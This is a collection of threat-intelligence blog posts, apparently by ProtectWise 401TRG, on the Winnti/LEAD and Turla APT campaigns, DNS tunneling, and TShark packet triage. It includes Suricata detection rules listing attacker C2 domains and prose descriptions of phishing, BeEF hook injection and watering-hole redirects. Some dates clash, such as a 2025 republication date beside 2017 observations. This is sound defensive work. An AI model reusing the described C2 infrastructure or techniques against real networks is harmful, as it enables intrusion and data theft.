• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (outerlol .com)"; flow:established,to_server; content:"outerlol.com"; http_header; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600039; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (outerlol .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|outerlol|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600038; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (microsoftsec .com)"; flow:established,to_server; content:"microsoftsec.com"; http_header; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600037; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (microsoftsec .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|microsoftsec|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600036; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (martianlol .com)"; flow:established,to_server; content:"martianlol.com"; http_header; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600035; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (martianlol .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|martianlol|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600034; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (dnslog .mobi)"; flow:established,to_server; content:"dnslog.mobi"; http_header; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600033; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (dnslog .mobi)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|06|dnslog|04|mobi|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600032; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (alienlol .com)"; flow:established,to_server; content:"alienlol.com"; http_header; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600031; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (alienlol .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|alienlol|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600030; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (securitytactics .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|securitytactics|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600029; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (yoyakuweb .technology)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|yoyakuweb|0a|technology|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600028; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (exoticlol .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|exoticlol|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600027; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (google-statics .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|google-statics|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600026; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (google-searching .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|google-searching|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600025; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (awsstatics .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|awsstatics|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600024; rev:3;)
• alert udp $HOME_NET any -> any 53 (msg:"401TRG Possible Winnti-related DNS Lookup (immigrantlol .com)"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|immigrantlol|03|com|00|"; nocase; distance:0; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600023; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (google-searching .com)"; flow:established,to_server; content:"google-searching.com"; http_header; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600022; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (awsstatics .com)"; flow:established,to_server; content:"awsstatics.com"; http_header; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600021; rev:3;)
• alert tcp $HOME_NET any -> any 80 (msg:"401TRG Possible Winnti-related Destination (immigrantlol .com)"; flow:established,to_server; content:"immigrantlol.com"; http_header; fast_pattern; reference:url,https://401trg.pw/an-update-on-winnti/; classtype:trojan-activity; sid:600020; rev:3;)

If you would like to automate the intake of these indicators, please see our GitHub Detections repo.

References

• ProtectWise 401TRG - Winnti Evolution - Going Open Source
• Trend Micro 2025 Winnti Report
• Bluecoat / Symantec - 2014 Winnti Report
• Kaspersky Lab - 2013 Winnti Report

A common TTP of the Turla APT group has been based around watering hole attacks. In late 2016, we began observing what is now called the “Clicky” watering hole campaign unfold across the globe, in addition to a similar campaign I’ll refer to as the “img” campaign. With the kickoff of the 401TRG, we have decided it is worth sharing this information to complement the public reporting by our colleagues at ESET. This post will focus on the watering holes, as opposed to post-compromise activity.

For this campaign, Turla has been compromising multiple domains which attract visitors of interest to the the group. The domains are compromised via CMS exploits, then modified with an added script on the homepage of the domain, subsequently forwarding legitimate visitors to a secondary domain which is completely controlled by the attackers. The script (detailed below) forces at least a single HTTP GET request to the secondary domains for either a benign file (PHP or JS) or a page that does not exist (PHP, JS, HTML). The purpose of this single GET request from the watering hole domain is for the group to collect the visitor's public IP address in addition to basic host information provided in the HTTP header (user agent) - to effectively fingerprint the visitors. If the visitor is within a targeted IP range, the attack continues by providing the visitor an additional profiling script, also noted by ESET.

While the groups TTPs are constantly evolving, it is believed this is a method for the attacker to filter targets of interest via the fingerprint to pick out which are in line with the group's agenda. The group only delivers malware to those who they have selected as targets based on the fingerprint. Utilizing the information gathered from this fingerprinting technique the group is able to deliver malware likely to be highly effective on the victim host.

Technical Details

The group has injected various scripts on the compromised domains. Below are samples of the scripts placed either directly on the home page, or within other referenced files loaded by the home page. We have also observed cases where only specific pages of the original compromised domains (the watering hole) contain the injected script. This allowed us to gain additional insight into the target profile of Turla.

Figure 1: One of the first scripts observed. Note the typo // when concatenating var a and var b. (Beautified for readability)

Figure 2: Updated script, corrected and iteration on misdirection attempt. (Beautified for readability)

Figure 3: Modified script for new secondary landing, in addition to the use of the double forward slash instead of specifically using http://. (Beautified for readability)

Figure 4: Separate injected image reference to PHP file. Likely a different campaign reusing attacker infrastructure - “Img” Campaign.

The destination PHP and JS files have been observed as either nonexistent, or replaced with benign file during non-target visits. For example, one use of a benign file was a simple copy of the MD5-generating code from www.myersdaily.org/joseph/javascript/.

Figure 5: HTTP GET request to secondary landing originating from watering hole domain.

Indicators

Suricata IDS Rules

• alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"401TRG - Possible Turla APT SWC Redirect - Clicky Campaign M1"; flow:established,from_server; file_data; content:"clicky_site_ids"; fast_pattern; content:"document.createElement"; nocase; distance:0; within:100; content:"/counter.js"; distance:0; content:"text/javascript"; distance:0; content:".appendChild"; distance:0; content:"|3b|"; pcre:"/^\s*[^\r\n]+.\ssrc\s=\s*[\x22\x27]\s*[a-z]+.getclicky.com/js\s*[\x22\x27]\s*\x3b/Rsi"; reference:url,https://401trg.pw/turla-watering-hole-campaigns-2016-2025/; sid:70045804; rev:1;)

• alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"401TRG - Possible Turla APT SWC Redirect - Clicky Campaign M2"; flow:established,from_server; file_data; content:"document.createElement"; nocase; fast_pattern; content:"var"; distance:0; within:50; content:"text/javascript"; distance:0; content:".appendChild"; distance:0; content:"var"; pcre:"/^\s*(?P[A-Za-z0-9-]{1,20})\s*=\s*[\x22\x27]\shttp\x3a\x2f\x2f[^\r\n]+[\x22\x27]\s\x3b\svar\s(?P[A-Za-z0-9-]{1,20})\s*=\s*[\x22\x27]\s*/[^\r\n]+[\x22\x27]\s*\x3b\s*.+.\ssrc\s=\s*(?P=vara)\s*.\sconcat\s(\s*(?P=varb)\s*)\s*\x3b/Rsi"; reference:url,https://401trg.pw/turla-watering-hole-campaigns-2016-2025/; sid:70045805; rev:1;)

If you would like to automate the intake of these indicators, please see our GitHub Detections repo.

Basic Actor Information

The following information has been collected from shared reports and OSINT. For additional details on other activity from this group, please see the ‘additional resources’ section below.

Associated Group Names:

• Turla - Kaspersky Lab
• Krypton - Microsoft
• Venomous Bear - Crowdstrike

Known Targets of Interest:

Government, NGOs, telecommunications, energy, and education. The group shows special interest in Europe, Australia, and United States. The group's agenda is potentially focused on collecting intellectual property and political information.

TTPs:

Strategic web compromises via CMS exploits to build long standing watering hole campaigns. In addition, the group is known to use satellite ISPs within their attack infrastructure, and spear phishing tactics. Publicly tied to the use of malware called Turla/Uroburos/Snake and WipBot/Tavdig, to name a few.

Recommended Actions

First, understand the tactics and IR processes behind identifying such attacks. For organizations or individuals who were not affected by this campaign, the scenario can be used as a simulation attack to evaluate your detection abilities, in addition to response approach and general understanding. While these tactics are highly targeted and not common to experience in the wild, this can be a great way to evaluate security posture.

If applicable, utilize the provided indicators in security products within your network. These indicators may be helpful in web gateway, firewall, or endpoint products. Please note, not all domains or IP addresses are only used within this campaign. Such indicators may be shared infrastructure for legitimate uses or generally legitimate domains. Triggering on them is not a confirmation of activity or this campaign. Instead, use them in combination as hunting triggers if you have a larger data retention history, due to the age of activity shared in this post.

Additional Resources on this Campaign and Turla

• ESET - Turla’s watering hole campaign: An updated Firefox extension abusing Instagram
• The Epic Turla Operation - Kaspersky Lab

DNS is one of the most important protocols on the modern internet, and any incident responder must be intimately familiar with its inner workings to perform effective triage of almost any event. Most networks, regardless of security, must let at least some DNS traffic egress for the services they use to work properly, and malware authors often take advantage of this fact. Malware authors are not the only ones who find this property useful, however, and a large number of legitimate services exist which use DNS in a similar fashion, complicating the detection of malicious traffic. In this post, we will explore both malicious and benign but suspicious-looking uses of DNS to make it easier to tell them apart.

What Does Malicious Traffic Look Like?

To understand the difference between malicious and benign traffic, it is necessary to first understand the general ways in which malware uses DNS. Two of the most common malware uses of DNS are domain generation algorithms (DGA) and DNS tunneling/C2. There are a number of resources covering these two topics online, so we will only briefly discuss them here. Broadly speaking, DGA is when a piece of malware communicates not with a hardcoded C2 domain, but one that is generated algorithmically, and changing in time. These domains are usually distinct looking, and often contain strings of random looking characters. It is important to note that DGA is not restricted to generating random looking domains, however, and some algorithms use dictionary words to make the domains look less suspicious. The big advantage to malware authors in using DGA is that a single domain being shutdown does not mean they have lost control of their malware. Defenders attempting to shut down malware C2 by blacklisting domains will have a more difficult time since the domains can rotate so quickly.

DNS tunneling, on the other hand, uses DNS itself for data transfer, taking advantage of the fact that most networks will query servers outside of the network for domains they don’t recognize. In the simplest case, the victim machine queries an attacker controlled DNS server, passing it data directly. However, even in an environment where communication via DNS is restricted to trusted servers, information can be tunneled out. A victim machine appends data to a subdomain of a domain whose DNS server(s) the attacker controls, and then sends this query to a DNS server on the victim network. The victim network DNS server will then have to send the request to the authoritative nameserver for the attacker controlled domain, and thus the attacker receives the data from the victim host. Data and commands can also be sent to a victim in this way by encoding them in the returned record. This traffic can also have a number of distinctive features, including the use of TXT records, random looking subdomains of suspicious domains, and subdomains encoded in base64 or NetBIOS encoding.

Benign but Suspicious Looking

While at first glance it may seem like both of these techniques should be distinctive enough as to be obvious to an incident responder, a number of pieces of legitimate software behave in ways that at first glance seems very similar. Perhaps the most common of these is Google Chrome, which queries 3 random domains on startup, as explained by the web developer Mike West. While this is expected behavior to ensure proper operation of the Omnibox for certain types of queries, it can look very suspicious when it appears on your network. A key way to differentiate this from actual malicious traffic is to note that Chrome generated domains will only include root domains which are in your list of default DNS suffixes. For example, if the domain company[.]com is in your list of DNS suffixes, Chrome may generate a DNS query for qlkjasdf and qlkjasdf.company[.]com, but it will never generate a query for qlkjasdf[.]com. It is also notable that the malicious DNS scenarios mentioned above wouldn’t work with a subdomain under your control, unless that subdomain was compromised, since an attacker would not have access to the server where the data is being sent.

Another common class of suspicious looking but ultimately benign traffic is endpoint protection software communicating with its infrastructure. For example, Sophos Extensible List will make a number of different types of queries to sophosxl.net for a variety of different reasons, including IP reputation lookups and ping latency checks. We have observed McAfee and Cymru using DNS in similar ways as well. This traffic can look similar to DNS tunneling (e.g. 4rzjp8zy7i7vawluximoxrko1p2tn58gj0fjjj2g.p.03.s.sophosxl[.]net) because it is essentially using DNS in the same way as malware, though for a benign purpose. As long as the root domain is that of a known endpoint provider that is deployed on your network, this traffic can be classified as benign, though basic domain research and infrastructure analysis are still recommended to confirm.

Finally, you may see two domains on your network, vmkl3890bhue[.]net and asdjkljfjaowjfq[.]net, which at first seem to fit all the criteria of an algorithmically generated domain. They both resolve to IPs, but as of 9/29/17, both have privacy guards on their WHOIS information. Without further research, it would be reasonable to conclude that these were in fact malicious domains, generated by a malware DGA. However, these are actually benign queries performed by ExpressVPN on startup.

Figure 1: ExpressVPN Traffic at Startup

This can be confirmed by inspecting the string contents of expressvpnd, as shown below.


Figures 2-3: Inspecting the string content of the expressvpnd binary for asdjkljfjaowjfq[.]net

Figures 3-4: Inspecting the string content of the expressvpnd binary for vmkl3890bhue[.]net

Accurately identifying malicious DNS can be a daunting task for network defenders, and this is by no means an exhaustive list of common benign but suspicious looking DNS traffic. Many other benign programs take advantage of the generally easy time DNS has transiting firewalls, and you may see other similar queries from different pieces of software. As always, the best course of action is thorough investigation of local traffic and external infrastructure to conclusively determine if a query is malicious or not.

Triaging large packet captures is a daunting task, even for the most seasoned security analysts. With a mountain of data and few leads, analysts need to find ways to pare down what they've captured and focus on the areas that have the highest chance of producing results. In this blog we present four TShark commands and strategies we use to tackle this challenge.

If analysis is being performed on a large packet capture -- something too large to reasonably work with in Wireshark -- and there are no initial leads to pursue, then a good starting point is to summarize what the capture contains. This information can inform the next steps of analysis and ultimately help remove the uninteresting parts. Using TShark, we will gather statistics of traffic within the capture to understand the most valuable pieces of information we need to begin: protocol use, infrastructure, and conversations.

1. Protocols

First, we will get a feel for the protocols in the capture. This helps identify low security value protocols and understand what devices are in the capture. It's important to recognize that protocol classifications can be incorrect, so questionable items may require a closer look later on. To view the protocol classification for a capture, we can use the following TShark command:

tshark -q -r <pcap> -z io,phs

This produces a list of protocols in a hierarchical fashion, similar to the truncated example below:

Figure 1. Sample Protocol Hierarchy Statistics

The more diverse the PCAP, the more complicated and messy this becomes. Focus on understanding the major protocols present and what percentage of the PCAP they represent. What is the breakdown of TCP vs UDP? How much HTTP, DNS, SSL, SMTP, SSH, SMB, and FTP traffic does it contain?

There is a wealth of information in these results to build filters for further analysis. We will dive deeper on how to utilize this information further in future blog posts. At this point use the information to hypothesize what the network represented by the PCAP looks like.

2. Infrastructure - Hosts

After understanding the protocol makeup, get a sense for the capture's infrastructure composition. Since we are looking to reduce the size of our dataset, we need to identify hosts that are likely associated with legitimate traffic. But we also want to keep a clear and concise filter, so we want to ensure that any filtered hosts have enough traffic to make filtering worthwhile. We can accomplish this by looking at traffic summary by hostname.

To generate a list of hostnames and associated IPs, use:

tshark -q -r <pcap> -z hosts

From this list you can begin to identify benign hostnames to filter. For example, removing legitimate services such as Google or Netflix. You can also use this command to identify suspicious hostnames for further investigation. Take it one step further by seeing how the hostnames rank on the Cisco Umbrella 1 Million List.

3. Infrastructure - IPs

Similar to hosts, certain IPs may create a large amount of traffic that isn't interesting for security purposes. Displaying the top talkers is another effective method for identifying endpoints to filter. To get a sense of which IPs generate the most traffic in the capture, we use the TShark command:

tshark -q -r <pcap> -z endpoints,ip

By default, the results are ordered by descending packet count. We are generally more interested in total byte count at this point, but packet numbers often correlate well with total byte counts. The output of this command will likely be a large list with some RFC1918 IPs at the top. It's usually worthwhile to look at the whois of some of the top non-RFC1918 IPs. Additionally, this data can be married with the hostnames output to identify which hostnames are involved with the majority of the traffic.

4. Conversations

Our final method for paring down the capture is based around large IP conversations. This can be a vital step in understanding why some of the IPs listed from the step above have so much traffic. Additionally it can inform you the role of certain IPs and highlight devices you can remove from the focus of your investigation.

This information can be produced using the command:

tshark -q -r <pcap> -z conv,ip

This command will produce another long list, but it will likely highlight a number of noisy talkers.

Wrapping Up

Large PCAP files can contain a lot of information making timely triage a difficult task. After using these commands, you will have a number of data points with which to begin trimming down your packet capture. You should also use leads for the next steps of your investigation. In subsequent blog posts we will discuss how to further analyze these results.

This post was originally published on July 11, 2025, in the offical ProtectWise.com blog. We have since moved it to this 401TRG blog and backdated appropriately.

Update #1: We have published a new post contining additional Winnti details.

If you would like to automate the intake of these indicators, please see our GitHub Detections repo.

Update #2: To better document and share the details of this post with the community, we're going to change form referring to this group as "Winnti" to the more appropriate "LEAD" title. Winnti originated in 2009 as a single group but more current intelligence indicates that the original group can now be separated into LEAD (APT17) and BARIUM. The original "Winnti" name comes from the malware codebase prior to the potential split of the group.

ProtectWise recently observed a burst of activity and change of tactics from an advanced actor group commonly referred to as “Winnti.” The purpose of this post is to share details of the group’s recent activity in an effort to assist the public in searching for related activity in their networks and preventing future attacks.

About Winnti

The Winnti group has been active since roughly 2009. Significant previous research has been published on the group from a variety of sources, such as Kaspersky, Blue Coat, and TrendMicro. As far back as 2009, the group was detected attacking multiple video game studios, including some in South Korea and Japan, likely attempting to steal various in-game currencies and to compromise developers’ certificates and source code. The original Winnti group is now split into LEAD (APT17) and BARIUM. This activity is associated with LEAD.

Objectives:

• Theft of digital certificates
• Use of stolen certificates to sign malware
• Theft of gaming source code and infrastructure details

TTPs:

• Known Toolset: PIVY, Chopper, PlugX, ZxShell, Winnti
• Phishing HR/recruiting emails for initial infection vector
• CHM email file attachments containing malware
• Use of GitHub for C2 communication

Targets:

• Online video game organizations
• Defense Sector
• Internet Service Providers
• Finance

Attribution:

• Originating Location: China (high confidence)
• Potential Aliases: Wicked Panda, APT17, Mana

Evolution of Winnti - Open source tools, and Mac OS targeting:

Within the Winnti campaigns observed by ProtectWise, the use of open source tooling was common. Specifically, the group has been utilizing the Browser Exploitation Framework (BeEF) and Metasploit Meterpreter. The use of open source tools by advanced actor groups has become increasingly common, as discussed by our colleagues in the industry. To the best of our knowledge this is a new technique for the Winnti group and we expect it to be used in future attacks.

Also noteworthy are attempts to deliver JAR files containing macOS applications which have meterpreter functionality. In addition, victims running Windows were delivered MSI files which were built using a free EXE to MSI converter (http://www.exetomsi.com/).

Figure 1: Summary of attack progression.

Delivery:

The Winnti campaign detailed in this post began with spear phishing emails aimed at a Japanese gaming studio’s staff. At least one of these emails claimed it was from an applicant for a job posting who was listing their relevant experience, along with a link to their resume.

Figure 2: Winnti Phishing Email.

The approximate translation of the Winnti phishing email is as follows:
“I saw your job posting. My main languages are Object-C, JAVA, and Swift, and I have 7 years experience with Ruby and 6 years experience with PHP. I have 5 years experience developing iOS apps, as well as Android apps, AWS, Jenkins, Microsoft Azure, ZendFramework, and smartphone application payment processing. I also have 5 years experience with MSSQL, Mysql, Oracle, and PostgreSQL. Please see here: ”

We observed Winnti using two different techniques when the link was clicked. In the first technique, the user was directed to an HTML page which loaded a fake English resume. In the second technique, which we only observed a few times, the landing page directly downloaded a JAR file to the victim’s machine.

Figure 3: Fake resume loaded in browser. Some items blurred as content may have been stolen.

Figure 4: Fake resume continued.

Landing:

In cases where the above resume is loaded, it is delivered as follows:

Phishing Email Link}/?session={date}{ID}

This page is an HTML file containing a simple iframe instruction to load real.html.

Figure 5: Link-click landing page HTML content.

real.html

This is the HTML file containing the fake resume which will load in browser for the link-click victim. It contains a script which loads the BeEF hook script from a separate external host. The group’s infrastructure changes rapidly, occasionally allowing us to observe them modifying the hook page destination domain over the span of a few minutes. Sometimes the same destination would be referred to by IP in one version of real.html and by hostname in another. Two additional files, resume_screen.css and mypic.jpg, are also loaded to make the resume look more realistic with improved formatting.

Figure 6: Added hook.js load request placed in fake resume.

At this point, in cases where BeEF has been used, exploits are typically attempted on victim hosts with the help of BeEF modules. A commonly used module was Jenkins_groovy_code_exec.

Evasion Techniques:

One of the Winnti group’s distinctive techniques is their particular style of DNS resolution for their C2 domains. Choosing domain names which are similar to valid domains (for example, google-statics[.]com, a misspelling of Google statistics, instead of analytics.google.com), the group configures their DNS so that the root domain resolves to either nothing, or localhost (previous research has observed the root domain resolving to the valid domain it is imitating; we did not observe that in this campaign). Then a subdomain resolves to an actual C2 server. For example, google-statics[.]com, one of the C2 domains observed in this campaign, has no resolutions at time of writing. css.google-statics[.]com, however, resolves to a real C2 IP.

As observed in previous Winnti attacks, the group uses commonly accepted and poorly monitored protocols and ports for their C2 communication (ports 53, 80, 443). With the addition of BeEF, the group has made use of TCP port 8000 as well. Amusingly, the group's use of BeEF has been fairly rudimentary, not even taking advantage of the basic obfuscation features included in the program. We observed the group using GAGAHOOK instead of the default BEEFHOOK session name and BEEFSESSION session cookie name.

Figure 7: BeEF hook.js request.

As in previous Winnti campaigns, the group continues to use legitimate code signing certificates, stolen from online gaming organizations, to sign their malware. This technique can help to hide the malicious intent of the group’s code, allowing it to run in environments where execution is restricted to signed/trusted programs. While unconfirmed as of this writing, we believe the Winnti group is continuing to steal and use certificates from new organizations.

Associated Indicators:

Note: We are redacting the malware hashes while we work with the organization whose digital signature was used on the malware as a potential victim of the Winnti group.